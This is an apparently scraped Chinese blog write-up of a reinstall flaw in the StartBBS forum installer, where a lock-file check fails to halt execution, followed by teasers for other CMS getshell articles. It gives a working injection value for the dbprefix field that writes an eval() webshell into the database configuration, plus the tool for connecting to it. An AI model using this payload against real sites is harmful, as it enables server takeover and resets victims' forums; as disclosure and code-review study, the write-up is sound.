开源轻论坛StartBBS前台getshell

心血来潮读读代码。StartBBS界面挺清爽的,体积也小。下载下来安装。

安装好后发现根目录下多了一个install.lock,一般的cms为了防止被重安装就会在目录下生成一个类似的文件,下次有人再访问安装脚本的时候,脚本会检测,如果目录下有这个文件就提示“请删除后再安装”。

原本应该是没有任何问题的。但我们来到安装脚本,/app/controllers/install.php中,查看它是怎么处理的:
class Install extends Install_Controller
{
    function __construct ()
    {
        parent::__construct();
        $this->load->library(‘myclass‘);
        $file=FCPATH.‘install.lock‘;
        if (file_exists($file)){
            $this->myclass->notice(‘alert("系统已安装过");window.location.href="‘.site_url().‘";‘);
        }
    }

看到这里我就笑了。构造函数里检查是否存在install.lock,然后用javascript的方式告诉用户“系统已安装过”,然后跳转。但是这个脚本根本还没有结束嘛,这个类里的函数都可以运行,并不因为返回了一个window.location.href就停止运行。(this->myclass->notice()中也没有停止运行的代码)

然后,在往下翻,就能看到安装的函数:

public function step($step)
{
    $data[‘step‘]=$step;
    if($step==1 || $step==2){
        $data[‘permission‘] = $this->_checkFileRight();
        $this->load->view(‘install‘,$data);
    }
    if($step==3){
        $this->_install_do();
    }
}
function _install_do()
{
    $data[‘step‘]=3;
    if($_POST){
            $dbhost = $this->input->post(‘dbhost‘);
            $dbport = $this->input->post(‘dbport‘);
            $dbname = $this->input->post(‘dbname‘);
            $dbuser = $this->input->post(‘dbuser‘);
            $dbpwd = $this->input->post(‘dbpwd‘)?$this->input->post(‘dbpwd‘):‘‘;
            $dbprefix = $this->input->post(‘dbprefix‘);
            $userid = $this->input->post(‘admin‘);
            $pwd = md5($this->input->post(‘pwd‘));
            $email = $this->input->post(‘email‘);
            $sub_folder = ‘/‘.$this->input->post(‘base_url‘).‘/‘;
            $conn = mysql_connect($dbhost.‘:‘.$dbport,$dbuser,$dbpwd);
            if (!$conn) {
                die(‘无法连接到数据库服务器,请检查用户名和密码是否正确‘);
            }
            if($this->input->post(‘creatdb‘)){
                if([email protected]_query(‘CREATE DATABASE IF NOT EXISTS ‘.$dbname)){
                    die(‘指定的数据库(‘.$dbname.‘)系统尝试创建失败,请通过其他方式建立数据库‘);
                }
            }
            if(!mysql_select_db($dbname,$conn)){
                die($dbname.‘数据库不存在,请创建或检查数据名.‘);
            }
                $sql = file_get_contents(FCPATH.‘app/config/startbbs.sql‘);
                $sql = str_replace("sb_",$dbprefix,$sql);
                $explode = explode(";",$sql);
                $data[‘msg1‘]="创建表".$dbname."成功,请稍后……<br/>";
                 foreach ($explode as $key=>$value){
                    if(!empty($value)){
                        if(trim($value)){
                            mysql_query($value.";");
                        }
                    }
                  }
                $password = $pwd;
                  $ip=$this->myclass->get_ip();
                  $insert= "INSERT INTO ".$dbprefix."users (group_type,gid,is_active,username,password,email,regtime,ip) VALUES (‘0‘,‘1‘,‘1‘,‘".$userid."‘,‘".$password."‘,‘".$email."‘,‘".time()."‘,‘".$ip."‘)";
                  mysql_query($insert);
                mysql_close($conn);
                $data[‘msg2‘]="安装完成,正在保存配置文件,请稍后……";
                $dbconfig = "<?php  if ( ! defined(‘BASEPATH‘)) exit(‘No direct script access allowed‘);\n"
                ."\$active_group = ‘default‘;\n"
                ."\$active_record = TRUE;\n"
                ."\$db[‘default‘][‘hostname‘] = ‘".$dbhost."‘;\n"
                ."\$db[‘default‘][‘port‘] = ‘".$dbport."‘;\n"
                ."\$db[‘default‘][‘username‘] = ‘".$dbuser."‘;\n"
                ."\$db[‘default‘][‘password‘] = ‘".$dbpwd."‘;\n"
                ."\$db[‘default‘][‘database‘] = ‘".$dbname."‘;\n"
                ."\$db[‘default‘][‘dbdriver‘] = ‘mysql‘;\n"
                ."\$db[‘default‘][‘dbprefix‘] = ‘".$dbprefix."‘;\n"
                ."\$db[‘default‘][‘pconnect‘] = TRUE;\n"
                ."\$db[‘default‘][‘db_debug‘] = TRUE;\n"
                ."\$db[‘default‘][‘cache_on‘] = FALSE;\n"
                ."\$db[‘default‘][‘cachedir‘] = ‘app/cache‘;\n"
                ."\$db[‘default‘][‘char_set‘] = ‘utf8‘;\n"
                ."\$db[‘default‘][‘dbcollat‘] = ‘utf8_general_ci‘;\n"
                ."\$db[‘default‘][‘swap_pre‘] = ‘‘;\n"
                ."\$db[‘default‘][‘autoinit‘] = TRUE;\n"
                ."\$db[‘default‘][‘stricton‘] = FALSE;";
                $file = FCPATH.‘/app/config/database.php‘;
                file_put_contents($file,$dbconfig);

                //保存config文件
                if($sub_folder){
                    $this->config->update(‘myconfig‘,‘sub_folder‘, $sub_folder);
                }
                $encryption_key = md5(uniqid());
                if($encryption_key){
                    $this->config->update(‘myconfig‘,‘encryption_key‘, $encryption_key);
                }
                $data[‘msg3‘]="保存配置文件完成!";
                touch(FCPATH.‘install.lock‘);
                $data[‘msg4‘]="创建锁定安装文件install.lock成功";
                $data[‘msg5‘]="安装startbbs成功!";
    }
    $this->load->view(‘install‘,$data);
}

当step函数的参数为3时,就执行安装函数_install_do(),这个函数里初始化了数据库,并把数据库配置文件写入了“/app/config/database.php”。于是,我们可以构造一下数据包直接把一句话写入到这个配置文件里。
我们看到,这个函数接收了许多post数据:

dbhost = this->input->post(‘dbhost‘);
dbport = this->input->post(‘dbport‘);
dbname = this->input->post(‘dbname‘);
dbuser = this->input->post(‘dbuser‘);
dbpwd = this->input->post(‘dbpwd‘)?$this->input->post(‘dbpwd‘):‘‘;
dbprefix = this->input->post(‘dbprefix‘);
userid = this->input->post(‘admin‘);
pwd = md5(this->input->post(‘pwd‘));
email = this->input->post(‘email‘);
sub_folder = ‘/‘.this->input->post(‘base_url‘).‘/‘;

其中dbhost、dbport、dbname、dbuser、dbpwd都不能随便乱写,乱写的话安装就会出错,而userid、pwd、email、sub_folder都是写入数据库的,不写入配置文件。所以就剩下dbprefix了,所以我们可以这样构造这个字段:

dbprefix=sb_‘;@eval ($_POST[101]);$xxx=‘

因为这个重安装漏洞破坏性太大,getshell以后网站等于重置了,所以我没有在网上测试。测试都在本地进行~
首先在外面找一个可以外连的mysql账号,为的是让安装成功进行。
我这里在我vps上新建了一个账号test_db_user,然后构造下面的这个数据包,发送:

等待一会发现返回了安装成功提示。因为我在本地测试的,所以我来到网站目录下,/app/config/database.php

修复方案

exit

可以看到,一句话已经写入了。菜刀连接index.php就可以了,直接连这个数据库配置文件是不行的。

时间: 2024-10-18 08:22:04

开源轻论坛StartBBS前台getshell的相关文章

轻论坛StartBBS、YouBBS、Xiuno对比

轻论坛StartBBS.YouBBS.Xiuno对比 July 18, 2014 4:39 PM jackie 软件 1 Comment 一提到论坛程序,绝大部分都会想到Discuz.PHPWind,但是这些论坛程序功能比较强大,导致后台也很复杂,维护起来不容易.看到V2EX,觉得这个挺不错的,发现有不少类似V2EX的程序可用,试用了几款,把经验和大家分享一下. StartBBS 官网:www.startbbs.com StartBBS是一个基于 PHP+MySQL MVC架构开发的轻论坛程序,

6款国内、国外开源PHP轻论坛CMS程序

随着移动互联网对于传统互联网的冲击,用户群更加注重信息的及时性和有效性的简便分享和获取,传统的社区模式经过多年的积累沉淀很深,尤其对于新兴的社区用户群和站长来说,如果需要挑战目前已经非常成熟的社区群还是比较困难的,而且没有足够的精力运营.相反,在国内外的流行社区群中,我们可以简单的目录式.专业知识类的社区比较出色.不论是注册.还是使用,都比较简单,轻便,我们习惯称作为轻论坛,在这篇文章中,老左整理和分享网络上比较流行的.开源的国内和国外用的比较多的轻论坛程序. 如果有用户需要搭建轻论坛网站,可以

PHPCMS9.6.0最新版SQL注入和前台GETSHELL漏洞分析 (实验新课)

PHPCMS9.6.0最新版中,由于/modules/attachment/attachments.php的过滤函数的缺陷导致了可以绕过它的过滤机制形成SQL注入漏洞,可导致数据库中数据泄漏. 而且在前台上传文件处,没有对文件后缀进行严格的审查,导致可以前台GETSHELL,直接获取到了网站的权限.点击马上实验,i春秋安全专家带你体验漏洞成因及危害. https://www.ichunqiu.com/course/58003  课程详解 DEF CON 24·400米之外破解你的智能蓝牙锁(公开

Xiuno BBS 3.0 轻论坛程序正式版发布。

github:git clone -b v3.0 https://git.oschina.net/xiuno/xiunobbs 安装包:http://bbs.xiuno.com/down/xiuno_bbs_3.0.tar.gz 前言: 离最后一次更新已经 2 年了,Xiuno BBS 终于迎来了它的新版,这是一个全新架构的版本,从底层到前端都是全新的. 这个版本更加的精简,它只有 20 多个表,800k+,运行速度非常快,处理单次请求在 0.01 秒级别,在有 APC.XCache 的环境下可

phpcms v9前台getshell

PHPCMS是一款网站管理软件.该软件采用模块化开发,支持多种分类方式,使用它可方便实现个性化网站的设计.开发与维护.它支持众多的程序组合,可轻松实现网站平台迁移,并可广泛满足各种规模的网站需求,可靠性高,是一款具备文章.下载.图片.分类信息.影视.商城.采集.财务等众多功能的强大.易用.可扩展的优秀网站管理软件. 看到到处都是这个漏洞的利用.加班完这个点看看触发点.主要的问题是phpcms\modules\member\index.php 130行到140行 //附表信息验证 通过模型获取会员

Discuz利用UC_KEY进行前台getshell

来源:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0137991.html 先通过uc_key把恶意代码保存在/uc_client/data/cache/badwords.php,然后利用preg_replace() 进行任意代码执行. 先附上来源中的脚本.修改了一些代码. <?php $timestamp = time()+10*3600; $host="ip地址"; $agent= md5("Mozilla/5.

start bbs轻论坛安装时数据库提示错误

A PHP Error was encounteredSeverity: NoticeMessage: Only variable references should be returned by referenceFilename: core/Common.phpLine Number: 257 解决方法: 找到system/core目录下的Common.php文件的257行把 return $_config[0] =& $config; 改为 $_config[0] =& $confi

【代码审计】seacms 前台Getshell分析

漏洞触发点search.php 211-213行,文中38-40行 1 if(intval($searchtype)==5) 2 { 3 $tname = !empty($tid)?getTypeNameOnCache($tid):'全部'; 4 $jq = !empty($jq)?$jq:'全部'; 5 $area = !empty($area)?$area:'全部'; 6 $year = !empty($year)?$year:'全部'; 7 $yuyan = !empty($yuyan)?

Typecho 反序列化漏洞导致前台 getshell

前言 最早知道这个漏洞是在一个微信群里,说是install.php文件里面有个后门,看到别人给的截图一看就知道是个PHP反序列化漏洞,赶紧上服务器看了看自己的博客,发现自己也中招了,相关代码如下: 然后果断在文件第一行加上了die: <?php die('404 Not Found!'); ?> 今天下午刚好空闲下来,就赶紧拿出来代码看看. 漏洞分析 先从install.php开始跟,229-235行: <?php$config = unserialize(base64_decode(T